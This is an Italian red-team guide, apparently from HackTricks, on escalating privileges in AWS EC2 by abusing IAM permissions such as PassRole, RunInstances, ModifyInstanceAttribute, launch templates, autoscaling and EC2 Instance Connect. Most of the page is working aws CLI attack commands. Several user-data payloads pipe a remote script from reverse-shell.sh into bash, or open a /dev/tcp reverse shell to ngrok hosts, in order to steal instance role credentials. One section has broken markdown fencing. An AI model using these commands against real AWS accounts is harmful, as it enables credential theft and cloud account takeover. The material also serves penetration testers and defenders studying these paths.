AWS - EC2 Privesc

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

EC2

Per ulteriori informazioni su EC2 controlla:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Un attaccante potrebbe creare un'istanza collegando un ruolo IAM e quindi accedere all'istanza per rubare le credenziali del ruolo IAM dall'endpoint dei metadati.

  • Accesso tramite SSH

Esegui una nuova istanza utilizzando una chiave ssh creata (--key-name) e quindi accedi tramite ssh (se vuoi crearne una nuova potresti avere bisogno dell'autorizzazione ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Accesso tramite shell inversa nei dati dell'utente

È possibile eseguire una nuova istanza utilizzando i dati dell'utente (--user-data) che invieranno una shell inversa. In questo modo non è necessario specificare il gruppo di sicurezza.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Fai attenzione a GuradDuty se utilizzi le credenziali del ruolo IAM al di fuori dell'istanza:

pageAWS - GuardDuty Enum

Potenziale Impatto: Privesc diretto a qualsiasi ruolo EC2 collegato ai profili di istanza esistenti.

Privesc a ECS

Con questo insieme di autorizzazioni potresti anche creare un'istanza EC2 e registrarla all'interno di un cluster ECS. In questo modo, i servizi ECS verranno eseguiti all'interno dell'istanza EC2 a cui hai accesso e quindi puoi penetrare quei servizi (contenitori docker) e rubare i loro ruoli ECS collegati.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Per imparare come forzare i servizi ECS ad essere eseguiti in questa nuova istanza EC2, controlla:

pageAWS - ECS Privesc

Se non puoi creare una nuova istanza ma hai il permesso ecs:RegisterContainerInstance, potresti essere in grado di registrare l'istanza all'interno del cluster e eseguire l'attacco commentato.

Impatto potenziale: Privesc diretto ai ruoli ECS collegati ai task.

iam:PassRole, iam:AddRoleToInstanceProfile

Similmente allo scenario precedente, un attaccante con questi permessi potrebbe cambiare il ruolo IAM di un'istanza compromessa in modo da poter rubare nuove credenziali. Poiché un profilo di istanza può avere solo un ruolo, se il profilo di istanza ha già un ruolo (caso comune), avrai anche bisogno di iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Se il profilo dell'istanza ha un ruolo e l'attaccante non può rimuoverlo, c'è un altro modo. Potrebbe trovare un profilo dell'istanza senza un ruolo o crearne uno nuovo (iam:CreateInstanceProfile), aggiungere il ruolo a quel profilo dell'istanza (come discusso in precedenza) e associare il profilo dell'istanza compromesso a un'istanza compromessa:

  • Se l'istanza non ha alcun profilo dell'istanza (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Impatto potenziale: Privesc diretto a un ruolo EC2 diverso (è necessario aver compromesso un'istanza AWS EC2 e avere alcune autorizzazioni extra o uno stato di profilo di istanza specifico).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Con queste autorizzazioni è possibile cambiare il profilo di istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo di istanza cambiando quello associato ad essa.

  • Se ha un profilo di istanza, è possibile rimuovere il profilo di istanza (ec2:DisassociateIamInstanceProfile) e associarlo *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • o sostituisci il profilo dell'istanza dell'istanza compromessa (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```
# AWS EC2 - Sostituisci l'associazione del profilo di istanza IAM

La seguente operazione consente di sostituire l'associazione del profilo di istanza IAM per un'istanza EC2.

```
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```

- `--iam-instance-profile Name=<value>`: specifica il nome del profilo di istanza IAM da associare.
- `--association-id <value>`: specifica l'ID dell'associazione del profilo di istanza IAM da sostituire.

Questa operazione può essere utile per ottenere privilegi aggiuntivi su un'istanza EC2, sostituendo l'associazione del profilo di istanza IAM con un profilo che ha privilegi più elevati.
```

Impatto potenziale: Escalation dei privilegi diretta a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcune autorizzazioni extra o uno stato di profilo di istanza specifico).

ec2:RequestSpotInstances,iam:PassRole

Un attaccante con le autorizzazioni ec2:RequestSpotInstances e iam:PassRole può richiedere un'istanza Spot con un ruolo EC2 allegato e un rev shell nei dati utente. Una volta che l'istanza viene eseguita, può rubare il ruolo IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Un attaccante con il permesso ec2:ModifyInstanceAttribute può modificare gli attributi delle istanze. Tra questi, può cambiare i dati dell'utente, il che implica che può far eseguire all'istanza dati arbitrari. Ciò può essere utilizzato per ottenere una shell inversa sull'istanza EC2.

Si noti che gli attributi possono essere modificati solo quando l'istanza è ferma, quindi sono necessari i permessi ec2:StopInstances e ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Impatto potenziale: Privesc diretta a qualsiasi ruolo IAM EC2 collegato a un'istanza creata.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Un attaccante con i permessi ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplatee ec2:ModifyLaunchTemplate può creare una nuova versione del Launch Template con un rev shell nei dati utente e qualsiasi ruolo IAM EC2 su di esso, cambiare la versione predefinita e qualsiasi gruppo di autoscaling che utilizza quel Launch Template configurato per utilizzare la versione più recente o quella predefinita eseguirà nuovamente le istanze utilizzando quel template ed eseguirà il rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potenziale Impatto: Privesc diretta a un ruolo EC2 diverso.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Un attaccante con i permessi autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole può creare una configurazione di lancio con un ruolo IAM e un rev shell all'interno dei dati utente, quindi creare un gruppo di autoscaling da quella configurazione e attendere che il rev shell rubare il ruolo IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potenziale impatto: Privesc diretta a un ruolo EC2 diverso.

!autoscaling

Il set di permessi ec2:CreateLaunchTemplate e autoscaling:CreateAutoScalingGroup non è sufficiente per elevare i privilegi a un ruolo IAM perché per allegare il ruolo specificato nella configurazione di avvio o nel modello di avvio è necessario avere i permessi iam:PassRole e ec2:RunInstances (che è una privesc nota).

ec2-instance-connect:SendSSHPublicKey

Un attaccante con il permesso ec2-instance-connect:SendSSHPublicKey può aggiungere una chiave ssh a un utente e usarla per accedervi (se ha accesso ssh all'istanza) o per elevare i privilegi.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impatto potenziale: Privesc diretto ai ruoli IAM EC2 collegati alle istanze in esecuzione.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Un attaccante con il permesso ec2-instance-connect:SendSerialConsoleSSHPublicKey può aggiungere una chiave ssh a una connessione seriale. Se la connessione seriale non è abilitata, l'attaccante ha bisogno del permesso ec2:EnableSerialConsoleAccess per abilitarla.

Per connettersi alla porta seriale è anche necessario conoscere il nome utente e la password di un utente all'interno della macchina.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Questa modalità non è molto utile per l'escalation dei privilegi in quanto è necessario conoscere un nome utente e una password per sfruttarla.

Impatto potenziale: (Altamente improbabile) Escalation diretta dei privilegi verso i ruoli IAM EC2 collegati alle istanze in esecuzione.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated